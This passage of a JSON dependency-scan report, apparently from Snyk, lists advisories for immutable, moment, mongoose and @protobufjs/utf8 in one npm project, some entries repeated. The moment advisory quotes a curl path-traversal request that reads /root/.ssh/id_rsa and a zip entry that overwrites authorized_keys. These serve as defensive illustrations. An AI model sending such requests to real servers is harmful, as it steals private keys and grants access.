"description": "## Overview\n\nAffected versions of this package are vulnerable to Integer Overflow or Wraparound in the `setListBounds` function in `src/List.js` when handling an index or size in the range 2 ** 30 to 2 ** 31. An attacker can cause an empty list to enter an uncatchable infinite loop, trigger unbounded memory allocation until process abort, or cause silent value wrapping by supplying crafted input values.\n## Remediation\nUpgrade `immutable` to version 3.8.4, 4.3.9, 5.1.8 or higher.\n## References\n- [GitHub Advisory](https://github.com/immutable-js/immutable-js/security/advisories/GHSA-v56q-mh7h-f735)\n- [GitHub Commit](https://github.com/immutable-js/immutable-js/commit/a1a1ee412dcaa380ab325196283d06594ffe4b84)\n- [GitHub Commit](https://github.com/immutable-js/immutable-js/commit/f0bc997d8eb9886aff2236635aa210a95a04304a)\n- [GitHub Release](https://github.com/immutable-js/immutable-js/releases/tag/v4.3.9)\n- [GitHub Release](https://github.com/immutable-js/immutable-js/releases/tag/v5.1.8)\n",
"epssDetails": {
"percentile": "0.49607",
"probability": "0.00665",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-59879"
],
"CWE": [
"CWE-190"
],
"GHSA": [
"GHSA-v56q-mh7h-f735"
]
},
"packageName": "immutable",
"proprietary": false,
"creationTime": "2026-07-09T09:51:55.702404Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-08T18:46:39Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-09T09:51:55.883234Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:17:01.534275Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"socket.io-server-v2@0.0.0",
"@graphql-codegen/c-sharp@5.1.2",
"@graphql-codegen/c-sharp-common@1.2.0",
"@graphql-codegen/visitor-plugin-common@5.8.0",
"@graphql-tools/relay-operation-optimizer@7.0.25",
"@ardatan/relay-compiler@12.0.3",
"immutable@3.8.3"
],
"upgradePath": [
false,
"@graphql-codegen/c-sharp@5.1.2",
"@graphql-codegen/c-sharp-common@1.2.0",
"@graphql-codegen/visitor-plugin-common@5.8.0",
"@graphql-tools/relay-operation-optimizer@7.1.14",
"@ardatan/relay-compiler@13.0.2",
"immutable@5.1.9"
],
"isUpgradable": true,
"isPatchable": false,
"name": "immutable",
"version": "3.8.3"
},
{
"id": "SNYK-JS-IMMUTABLE-17900558",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"nvth"
],
"semver": {
"vulnerable": [
"<3.8.4",
">=4.0.0-rc.1 <4.3.9",
">=5.0.0-beta.1 <5.1.8"
]
},
"exploit": "Not Defined",
"fixedIn": [
"3.8.4",
"4.3.9",
"5.1.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "immutable",
"references": [
{
"url": "https://github.com/immutable-js/immutable-js/security/advisories/GHSA-xvcm-6775-5m9r",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/immutable-js/immutable-js/commit/3dd7e5655012597a41873e328bf9142a8901527b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/immutable-js/immutable-js/commit/e51d49fc612ded5ec4dfb94ff294d22074269b0f",
"title": "GitHub Commit"
},
{
"url": "https://github.com/immutable-js/immutable-js/releases/tag/v4.3.9",
"title": "GitHub Release"
},
{
"url": "https://github.com/immutable-js/immutable-js/releases/tag/v5.1.8",
"title": "GitHub Release"
}
],
"cvssDetails": [],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:17:02.135918Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:17:02.135918Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `HashCollisionNode` class in `Immutable.Map` and `Immutable.Set`. An attacker can cause excessive CPU consumption by supplying a large number of keys with identical 32-bit hashes, leading to degraded insertion and lookup performance through crafted input objects.\n## Remediation\nUpgrade `immutable` to version 3.8.4, 4.3.9, 5.1.8 or higher.\n## References\n- [GitHub Advisory](https://github.com/immutable-js/immutable-js/security/advisories/GHSA-xvcm-6775-5m9r)\n- [GitHub Commit](https://github.com/immutable-js/immutable-js/commit/3dd7e5655012597a41873e328bf9142a8901527b)\n- [GitHub Commit](https://github.com/immutable-js/immutable-js/commit/e51d49fc612ded5ec4dfb94ff294d22074269b0f)\n- [GitHub Release](https://github.com/immutable-js/immutable-js/releases/tag/v4.3.9)\n- [GitHub Release](https://github.com/immutable-js/immutable-js/releases/tag/v5.1.8)\n",
"epssDetails": {
"percentile": "0.49605",
"probability": "0.00665",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-59880"
],
"CWE": [
"CWE-407"
],
"GHSA": [
"GHSA-xvcm-6775-5m9r"
]
},
"packageName": "immutable",
"proprietary": false,
"creationTime": "2026-07-09T09:44:04.125578Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-08T18:46:33Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-09T09:44:04.311796Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:17:02.135918Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"socket.io-server-v2@0.0.0",
"@graphql-codegen/c-sharp-operations@3.2.0",
"@graphql-codegen/c-sharp-common@1.2.0",
"@graphql-codegen/visitor-plugin-common@5.8.0",
"@graphql-tools/relay-operation-optimizer@7.0.25",
"@ardatan/relay-compiler@12.0.3",
"immutable@3.8.3"
],
"upgradePath": [
false,
"@graphql-codegen/c-sharp-operations@3.2.0",
"@graphql-codegen/c-sharp-common@1.2.0",
"@graphql-codegen/visitor-plugin-common@5.8.0",
"@graphql-tools/relay-operation-optimizer@7.1.14",
"@ardatan/relay-compiler@13.0.2",
"immutable@5.1.9"
],
"isUpgradable": true,
"isPatchable": false,
"name": "immutable",
"version": "3.8.3"
},
{
"id": "SNYK-JS-IMMUTABLE-17900573",
"title": "Integer Overflow or Wraparound",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Mateusz Gierblinski"
],
"semver": {
"vulnerable": [
"<3.8.4",
">=4.0.0-rc.1 <4.3.9",
">=5.0.0-beta.1 <5.1.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"3.8.4",
"4.3.9",
"5.1.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "immutable",
"references": [
{
"url": "https://github.com/immutable-js/immutable-js/security/advisories/GHSA-v56q-mh7h-f735",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/immutable-js/immutable-js/commit/a1a1ee412dcaa380ab325196283d06594ffe4b84",
"title": "GitHub Commit"
},
{
"url": "https://github.com/immutable-js/immutable-js/commit/f0bc997d8eb9886aff2236635aa210a95a04304a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/immutable-js/immutable-js/releases/tag/v4.3.9",
"title": "GitHub Release"
},
{
"url": "https://github.com/immutable-js/immutable-js/releases/tag/v5.1.8",
"title": "GitHub Release"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"cvssV3BaseScore": 5.3,
"modificationTime": "2026-09-22T05:58:45.717773Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:17:01.534275Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:17:01.534275Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.3,
"cvssVersion": "3.1",
"modificationTime": "2026-09-22T05:58:45.717773Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Integer Overflow or Wraparound in the `setListBounds` function in `src/List.js` when handling an index or size in the range 2 ** 30 to 2 ** 31. An attacker can cause an empty list to enter an uncatchable infinite loop, trigger unbounded memory allocation until process abort, or cause silent value wrapping by supplying crafted input values.\n## Remediation\nUpgrade `immutable` to version 3.8.4, 4.3.9, 5.1.8 or higher.\n## References\n- [GitHub Advisory](https://github.com/immutable-js/immutable-js/security/advisories/GHSA-v56q-mh7h-f735)\n- [GitHub Commit](https://github.com/immutable-js/immutable-js/commit/a1a1ee412dcaa380ab325196283d06594ffe4b84)\n- [GitHub Commit](https://github.com/immutable-js/immutable-js/commit/f0bc997d8eb9886aff2236635aa210a95a04304a)\n- [GitHub Release](https://github.com/immutable-js/immutable-js/releases/tag/v4.3.9)\n- [GitHub Release](https://github.com/immutable-js/immutable-js/releases/tag/v5.1.8)\n",
"epssDetails": {
"percentile": "0.49607",
"probability": "0.00665",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-59879"
],
"CWE": [
"CWE-190"
],
"GHSA": [
"GHSA-v56q-mh7h-f735"
]
},
"packageName": "immutable",
"proprietary": false,
"creationTime": "2026-07-09T09:51:55.702404Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-08T18:46:39Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-09T09:51:55.883234Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:17:01.534275Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"socket.io-server-v2@0.0.0",
"@graphql-codegen/c-sharp-operations@3.2.0",
"@graphql-codegen/c-sharp-common@1.2.0",
"@graphql-codegen/visitor-plugin-common@5.8.0",
"@graphql-tools/relay-operation-optimizer@7.0.25",
"@ardatan/relay-compiler@12.0.3",
"immutable@3.8.3"
],
"upgradePath": [
false,
"@graphql-codegen/c-sharp-operations@3.2.0",
"@graphql-codegen/c-sharp-common@1.2.0",
"@graphql-codegen/visitor-plugin-common@5.8.0",
"@graphql-tools/relay-operation-optimizer@7.1.14",
"@ardatan/relay-compiler@13.0.2",
"immutable@5.1.9"
],
"isUpgradable": true,
"isPatchable": false,
"name": "immutable",
"version": "3.8.3"
},
{
"id": "SNYK-JS-MOMENT-19821607",
"title": "Directory Traversal",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"credit": [
"zolbooo"
],
"semver": {
"vulnerable": [
"<2.31.0"
]
},
"exploit": "Not Defined",
"fixedIn": [
"2.31.0"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "moment",
"references": [
{
"url": "https://github.com/moment/moment/security/advisories/GHSA-4p3w-j4w9-5jqw",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/moment/moment/commit/5f7d983c9881e65e07574de9dda3190d99520c07",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-16T05:58:35.545204Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:18:52.800189Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:18:52.800189Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T05:58:35.545204Z"
}
],
"description": "## Overview\n[moment](https://www.npmjs.com/package/moment) is a lightweight JavaScript date library for parsing, validating, manipulating, and formatting dates.\n\nAffected versions of this package are vulnerable to Directory Traversal in the `locale()` function, whose locale name validation is circumvented by a non-string value, so an object can direct the load to an attacker-specified path. An attacker can cause a file to be loaded from a path of their choosing by supplying a non-string value that the application passes to `moment.locale()`. This requires the application to hand user-supplied non-string input directly to `moment.locale()`, plain strings are unaffected because the existing validation rejects those containing path separators, and only server-side npm consumers are in scope.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2022-24785](https://security.snyk.io/vuln/SNYK-JS-MOMENT-2440688).\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `moment` to version 2.31.0 or higher.\n## References\n- [GitHub Advisory](https://github.com/moment/moment/security/advisories/GHSA-4p3w-j4w9-5jqw)\n- [GitHub Commit](https://github.com/moment/moment/commit/5f7d983c9881e65e07574de9dda3190d99520c07)\n",
"epssDetails": {
"percentile": "0.26649",
"probability": "0.00357",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-17495"
],
"CWE": [
"CWE-27"
],
"GHSA": [
"GHSA-4p3w-j4w9-5jqw"
]
},
"packageName": "moment",
"proprietary": false,
"creationTime": "2026-09-15T09:03:35.671027Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-15T07:18:51Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-15T09:03:35.864137Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:18:52.800189Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"socket.io-server-v2@0.0.0",
"bunyan@2.0.5",
"moment@2.30.1"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "moment",
"version": "2.30.1"
},
{
"id": "SNYK-JS-MONGOOSE-16425765",
"title": "Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<6.13.9",
">=7.0.0-rc0 <7.8.9",
">=8.0.0-rc0 <8.22.1",
">=9.0.0-rc0 <9.1.6"
]
},
"exploit": "Not Defined",
"fixedIn": [
"6.13.9",
"7.8.9",
"8.22.1",
"9.1.6"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "mongoose",
"references": [
{
"url": "https://github.com/Automattic/mongoose/security/advisories/GHSA-wpg9-53fq-2r8h",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/Automattic/mongoose/commit/3b0c5c08b8c400f48d3823bc5b36efe2d12cb5cd",
"title": "GitHub Commit"
},
{
"url": "https://github.com/Automattic/mongoose/commit/b804e34e4d4cc670d7247fbd558c47412b4e5e01",
"title": "GitHub Commit"
}
],
"cvssDetails": [],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:16:49.598186Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:16:49.598186Z"
}
],
"description": "## Overview\n[mongoose](https://www.npmjs.com/package/mongoose) is a Mongoose is a MongoDB object modeling tool designed to work in an asynchronous environment.\n\nAffected versions of this package are vulnerable to Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') in the `sanitizeFilter` function. An attacker can gain unauthorized access to sensitive data by injecting malicious query operators inside a `$nor` clause when user-controlled input is passed directly into query methods. \r\n\r\n**Note:** This is only exploitable if the application explicitly enables the sanitization feature and passes unsanitized user input directly into query methods without additional input validation.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by deleting `$nor` keys from user input, using an additional schema validation library, or writing middleware to strip out `$nor` from query filters.\n## Remediation\nUpgrade `mongoose` to version 6.13.9, 7.8.9, 8.22.1, 9.1.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/Automattic/mongoose/security/advisories/GHSA-wpg9-53fq-2r8h)\n- [GitHub Commit](https://github.com/Automattic/mongoose/commit/3b0c5c08b8c400f48d3823bc5b36efe2d12cb5cd)\n- [GitHub Commit](https://github.com/Automattic/mongoose/commit/b804e34e4d4cc670d7247fbd558c47412b4e5e01)\n",
"epssDetails": {
"percentile": "0.37539",
"probability": "0.00465",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-42334"
],
"CWE": [
"CWE-74"
],
"GHSA": [
"GHSA-wpg9-53fq-2r8h"
]
},
"packageName": "mongoose",
"proprietary": false,
"creationTime": "2026-05-06T09:30:16.120209Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-05-05T21:48:06Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-05-06T12:59:02.289999Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:16:49.598186Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"socket.io-server-v2@0.0.0",
"mongoose@8.9.5"
],
"upgradePath": [
false,
"mongoose@8.22.1"
],
"isUpgradable": true,
"isPatchable": false,
"name": "mongoose",
"version": "8.9.5"
},
{
"id": "SNYK-JS-PROTOBUFJSUTF8-16643422",
"title": "Arbitrary Code Injection",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"credit": [
"Michael Baraniak"
],
"semver": {
"vulnerable": [
"<1.1.1"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.1"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "@protobufjs/utf8",
"references": [
{
"url": "https://github.com/protobufjs/protobuf.js/security/advisories/GHSA-66ff-xgx4-vchm",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/protobufjs/protobuf.js/commit/6eb3a3b90db02d3e8447ea57fcc835459bff2e51",
"title": "GitHub Commit"
},
{
"url": "https://github.com/protobufjs/protobuf.js/commit/75392ea1b78bdc4faba027b5db44ad7c50e9c454",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 8.8,
"modificationTime": "2026-05-14T01:15:06.768648Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:H",
"cvssV3BaseScore": 7.1,
"modificationTime": "2026-06-12T05:30:59.573421Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:18:33.081708Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:18:33.081708Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 8.8,
"cvssVersion": "3.1",
"modificationTime": "2026-05-14T01:15:06.768648Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.1,
"cvssVersion": "3.1",
"modificationTime": "2026-06-12T05:30:59.573421Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Arbitrary Code Injection in the `toObject` function when handling a schema-controlled `bytes` field default value. An attacker can execute arbitrary JavaScript code by providing a crafted descriptor with a malicious default value for a `bytes` field, which is then used in the generated conversion function.\n## Remediation\nUpgrade `@protobufjs/utf8` to version 1.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/protobufjs/protobuf.js/security/advisories/GHSA-66ff-xgx4-vchm)\n- [GitHub Commit](https://github.com/protobufjs/protobuf.js/commit/6eb3a3b90db02d3e8447ea57fcc835459bff2e51)\n- [GitHub Commit](https://github.com/protobufjs/protobuf.js/commit/75392ea1b78bdc4faba027b5db44ad7c50e9c454)\n",
"epssDetails": {
"percentile": "0.52334",
"probability": "0.00733",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-44293"
],
"CWE": [
"CWE-94"
],
"GHSA": [
"GHSA-66ff-xgx4-vchm"
]
},
"packageName": "@protobufjs/utf8",
"proprietary": false,
"creationTime": "2026-05-13T12:54:01.976809Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-05-12T15:06:13Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-05-14T06:49:43.164044Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:18:33.081708Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"socket.io-server-v2@0.0.0",
"@apollo/server@5.5.0",
"@apollo/usage-reporting-protobuf@4.1.1",
"@apollo/protobufjs@1.2.7",
"@protobufjs/utf8@1.1.0"
],
"upgradePath": [
false,
"@apollo/server@5.5.0",
"@apollo/usage-reporting-protobuf@4.1.2",
"@apollo/protobufjs@1.2.8",
"@protobufjs/utf8@1.1.2"
],
"isUpgradable": true,
"isPatchable": false,
"name": "@protobufjs/utf8",
"version": "1.1.0"
},
{
"id": "SNYK-JS-PROTOBUFJSUTF8-16643422",
"title": "Arbitrary Code Injection",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"credit": [
"Michael Baraniak"
],
"semver": {
"vulnerable": [
"<1.1.1"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.1"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "@protobufjs/utf8",
"references": [
{
"url": "https://github.com/protobufjs/protobuf.js/security/advisories/GHSA-66ff-xgx4-vchm",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/protobufjs/protobuf.js/commit/6eb3a3b90db02d3e8447ea57fcc835459bff2e51",
"title": "GitHub Commit"
},
{
"url": "https://github.com/protobufjs/protobuf.js/commit/75392ea1b78bdc4faba027b5db44ad7c50e9c454",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 8.8,
"modificationTime": "2026-05-14T01:15:06.768648Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:H",
"cvssV3BaseScore": 7.1,
"modificationTime": "2026-06-12T05:30:59.573421Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:18:33.081708Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:18:33.081708Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 8.8,
"cvssVersion": "3.1",
"modificationTime": "2026-05-14T01:15:06.768648Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.1,
"cvssVersion": "3.1",
"modificationTime": "2026-06-12T05:30:59.573421Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Arbitrary Code Injection in the `toObject` function when handling a schema-controlled `bytes` field default value. An attacker can execute arbitrary JavaScript code by providing a crafted descriptor with a malicious default value for a `bytes` field, which is then used in the generated conversion function.\n## Remediation\nUpgrade `@protobufjs/utf8` to version 1.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/protobufjs/protobuf.js/security/advisories/GHSA-66ff-xgx4-vchm)\n- [GitHub Commit](https://github.com/protobufjs/protobuf.js/commit/6eb3a3b90db02d3e8447ea57fcc835459bff2e51)\n- [GitHub Commit](https://github.com/protobufjs/protobuf.js/commit/75392ea1b78bdc4faba027b5db44ad7c50e9c454)\n",
"epssDetails": {
"percentile": "0.52334",
"probability": "0.00733",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-44293"
],
"CWE": [
"CWE-94"
],
"GHSA": [
"GHSA-66ff-xgx4-vchm"
]
},
"packageName": "@protobufjs/utf8",
"proprietary": false,
"creationTime": "2026-05-13T12:54:01.976809Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-05-12T15:06:13Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
